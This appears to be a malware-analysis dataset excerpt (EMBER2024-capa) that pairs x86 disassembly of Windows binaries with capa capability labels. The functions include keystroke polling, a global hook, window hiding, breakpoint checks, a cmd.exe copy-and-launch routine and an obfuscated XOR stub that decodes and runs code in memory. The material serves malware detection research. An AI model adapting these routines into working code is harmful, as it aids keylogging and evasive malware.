joyce8/EMBER2024-capa huggingface dataset:
Function at 0x451dc8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x451e00]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x451de1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x451df0
or bl, 4
test esi, 0x20000000
je 0x451dfb
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x458404
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x458416
add esp, 0xfffffff0
call fcn.00403a30
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e020
mov eax, dword [0x487a68]
mov dword [eax + 4], ebx
mov dword [eax], 0x4587a8
mov eax, dword [0x487a74]
mov dword [eax + 4], ebx
mov dword [eax], 0x4587b4
mov eax, ebx
call fcn.004587c0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x454c88
push eax
push 0
push 0
mov eax, dword [0x487c38]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41fa80]
call fcn.004211f4
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41fa80]
call fcn.004211f4
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41fa80]
call fcn.004211f4
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00458be0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x458abc
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x458abc
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x458abc
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x458553
call fcn.00403a88
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4588a0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x458a4b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x458a2c
mov dl, 1
mov eax, dword [0x413a4c]
call fcn.0040369c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004044bc
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x458a1b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00445ed8
test al, al
je 0x458a0e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x458a5c
lea eax, [ebp - 0x254]
call fcn.0040966c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x458a0e
xor eax, eax
push ebp
push 0x458a07
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x458a94
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4589f0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404724
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4589f0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458a0e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x458911
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041801c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458a52
lea eax, [ebp - 0x260]
call fcn.004044bc
ret

Function at 0x459380
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x488c38]
cmp byte [eax + 0xa5], 0
jne 0x4593f1
cmp dword [0x488c50], 0
jne 0x4593b2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45933c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x488c50], eax
cmp dword [0x488c4c], 0
jne 0x4593cd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x488c4c], eax
cmp dword [0x488c54], 0
jne 0x4593f1
push esp
push 0
push 0
push 0x4592e0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x488c54], eax
pop edx
ret
Function at 0x4594e8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4594ff
add esp, 0xfffffff0
call fcn.00403a30
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e020
mov eax, dword [0x487c20]
cmp word [eax + 2], 0
jne 0x459527
mov eax, dword [0x487c20]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045abc4
mov eax, dword [0x487d00]
cmp word [eax + 2], 0
jne 0x459541
mov eax, dword [0x487d00]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045adbc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4133e8]
call fcn.0040369c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4205a0]
call fcn.00428220
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4596c8
mov eax, dword [0x487aec]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004285f0
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45b33c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x487aec]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c2c4
test eax, eax
je 0x459636
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408fb4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c2ec
test eax, eax
je 0x45964a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404724
mov eax, dword [0x48794c]
cmp byte [eax], 0
jne 0x45967e
mov eax, ebx
call fcn.004597f0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045b518
mov eax, ebx
call fcn.0045be58
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4596be
call fcn.00403a88
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x459a64
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x488c38]
cmp dword [eax + 0x30], 0
je 0x459b0e
cmp dword [ebx + 0x94], 0
jne 0x459b08
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4599f4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x459b08
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x459ace
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x459b08
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00415ce0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x459add
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45a5ec
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45a621
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004045ac
jmp 0x45a62e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404510
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45b6f4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45b735
mov eax, esi
call fcn.004415cc
test al, al
je 0x45b735
mov eax, dword [ebx + 0x84]
call fcn.004412c8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45b735
push 0
mov eax, dword [ebx + 0x84]
call fcn.004412c8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45ec58
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0045e8bc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.0040496c
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x45ecb6
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x487c44]
mov dl, 1
mov eax, dword [0x45e7b4]
call fcn.0040b6a8
call fcn.00403e98
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x45ecc0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.0040496c
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x45ed18
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x487edc]
mov dl, 1
mov eax, dword [0x45e7b4]
call fcn.0040b6a8
call fcn.00403e98
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0045e8ec
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4632cc
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x412a44]
call fcn.00404f14
xor eax, eax
push ebp
push 0x463410
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x486ea4], 0
jne 0x46331f
mov ecx, dword [0x487974]
mov dl, 1
mov eax, dword [0x407978]
call fcn.0040b66c
call fcn.00403e98
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402fc4
mov eax, ebx
call fcn.00404d34
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x463420
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.0040628c
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404d44
test eax, eax
jle 0x4633b7
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x4633b0
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.0040473c
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404724
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408824
test eax, eax
jne 0x4633b0
mov ebx, 0x15
jmp 0x4633bc
mov ebx, 0x10
jmp 0x4633bc
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x486ea4]
call fcn.00463224
mov eax, dword [ebp - 8]
call fcn.00463224
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004062a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463417
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004044e0
lea eax, [ebp - 0x10]
mov edx, dword [0x412a44]
call fcn.00404fe4
ret

Function at 0x46d51c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x46d54a
mov eax, ebx
call fcn.0046dfd4
cmp dword [ebx + 0x3c], 0
je 0x46d543
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x46d5bb
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x46d5ad
cmp dword [ebx + 8], 0
je 0x46d56c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x46d57e
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x46d5ad
cmp dword [ebx + 8], 0
je 0x46d55f
cmp eax, 3
je 0x46d591
dec eax
jne 0x46d55f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x46d55f
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x46d55f
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x46d5d9
cmp dword [ebx + 0x10], 0xcc
je 0x46d5d9
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0046d5e4
pop ebx
ret
Function at 0x481d04
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe30
mov esi, eax
lea eax, [esp + 0x40]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
call fcn.004044bc
push 0x40
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
push esp
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x481eb3
mov edi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x481ea3
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
mov eax, esi
call fcn.004046ac
mov edx, dword [esi]
mov eax, 0x481ec8
call fcn.00404ab0
test eax, eax
jle 0x481e11
mov eax, 0x489b24
mov edx, 0x481ed8
call fcn.00404510
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481ee4
call fcn.0047ebb4
mov eax, dword [0x489afc]
mov edx, 0x481f00
call fcn.004048b8
jne 0x481dd9
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481f0c
call fcn.0047ebb4
mov eax, dword [0x489afc]
mov edx, 0x481f28
call fcn.004048b8
jne 0x481e36
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481f34
call fcn.0047ebb4
jmp 0x481e36
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481f60
call fcn.0047ebb4
mov eax, dword [0x489afc]
mov edx, 0x481f00
call fcn.004048b8
jne 0x481e6c
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481f7c
call fcn.0047ebb4
mov eax, dword [0x489afc]
mov edx, 0x481f28
call fcn.004048b8
jne 0x481ea2
mov eax, dword [0x488d7c]
mov eax, dword [eax + 0x36c]
mov eax, dword [eax + 0x208]
mov edx, 1
call fcn.0047ec58
mov edx, 0x481f98
call fcn.0047ebb4
inc ebx
mov ebp, dword [edi + ebx*4]
test ebp, ebp
jne 0x481d4a
call sub.wsock32.dll_WSACleanup
add esp, 0x1d0
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x402c00
pop dword [ebp - 0xc]
mov eax, 0x402c00
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x3dbe34e6
sub dword [ebp - 0x1c], 0xef6bef9b
mov dword [ebp - 0x18], 0xcfb7404e
add dword [ebp - 0x18], 0x627c0bf7
mov dword [ebp - 0x14], 0x350b33d6
sub dword [ebp - 0x14], 0xe8beefa8
mov dword [ebp - 0x10], 0xd14af896
sub dword [ebp - 0x10], 0xd14af896
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xc6dc8b70
sub eax, 0xc69c0ae4
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xd66bc392
add dword [ebp - 0x1c], 0x9e06a5c4
mov dword [ebp - 0x18], 0xc51c084f
add dword [ebp - 0x18], 0x7c505926
mov dword [ebp - 0x14], 0x517eff75
add dword [ebp - 0x14], 0x11f06cf7
mov dword [ebp - 0x10], 0x95506dc1
sub dword [ebp - 0x10], 0x95506dc1
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3731e
push 0
call eax
mov ecx, 0xd8e3532d
add ecx, 0x271cf6d9
mov ebx, eax
mov edx, 0x411000
add edx, dword [ebp - 0xc]
mov edi, 0x85426e95
add edi, 0xdd5d8d19
mov dword [ebp - 8], 0x230d828e
mov esi, dword [edx]
xor dword [ebp - 4], esi
xor esi, edi
sub dword [ebp - 4], 0x6ca9fefc
mov dword [ebx], esi
sub dword [ebp - 8], 0xdf389e9b
add ebx, 0x784453bc
sub ebx, 0x784453b8
add edx, 0x562d1c69
add edx, 0xa9d2e39b
loop 0x402d12
add eax, 0x11aeb
xor ebx, ebx
add ebx, eax
add eax, 0x162f2e4c
sub eax, 0x162f2e47
mov ecx, 0x64f4d71f
sub ecx, 0x64b4d71f
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4010b0
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa90
mov eax, dword [0x40a420]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x83c], 0
mov dword [ebp - 4], 0
push 0x208
push 0
lea eax, [ebp - 0x630]
push eax
call fcn.00401660
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x838]
push ecx
call fcn.00401660
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0x418]
push edx
call fcn.00401660
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xa90]
push eax
call fcn.00401660
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x630]
push edx
push str._scmd.exe
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x418]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebp - 0x418]
push edx
push str._scmd.tmp
lea eax, [ebp - 0xa90]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea ecx, [ebp - 0xa90]
push ecx
lea edx, [ebp - 0x838]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xa90]
push ecx
push str.__s___c__s
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x888]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov word [ebp - 0x858], 0
mov dword [ebp - 0x850], 0
mov dword [ebp - 0x84c], 0
mov dword [ebp - 0x848], 0
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x888]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401229
xor eax, eax
jmp 0x40122e
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004016da
mov esp, ebp
pop ebp
ret

Function at 0x401240
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov word [ebp - 0x28], 5
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401295
xor eax, eax
jmp 0x40129a
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4012a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x40a420]
xor eax, ebp
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov word [ebp - 0x238], 5
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0
mov ecx, dword [ebp + 8]
push ecx
push str._s__s
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x268]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
lea edx, [ebp - 0x220]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401330
xor eax, eax
jmp 0x401335
mov eax, 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004016da
mov esp, ebp
pop ebp
ret

Function at 0x401580
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x40a420]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], str.C:UsersgeorgeAppDataLocalTempMessenger.exe
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401912
add esp, 0x14
push str..exe
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4015ec
push 0x40823c
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4015ec
push 5
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401630
push str..scr
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40160d
mov eax, dword [ebp - 4]
push eax
call fcn.004012a0
add esp, 4
jmp 0x401630
call section..text
test eax, eax
je 0x401624
mov ecx, dword [ebp - 4]
push ecx
call fcn.004010b0
add esp, 4
jmp 0x401630
mov edx, dword [ebp - 4]
push edx
call fcn.00401240
add esp, 4
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004016da
mov esp, ebp
pop ebp
ret

Function at 0x4016da
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a420]
jne 0x4016e4
repz ret
jmp fcn.00401ca5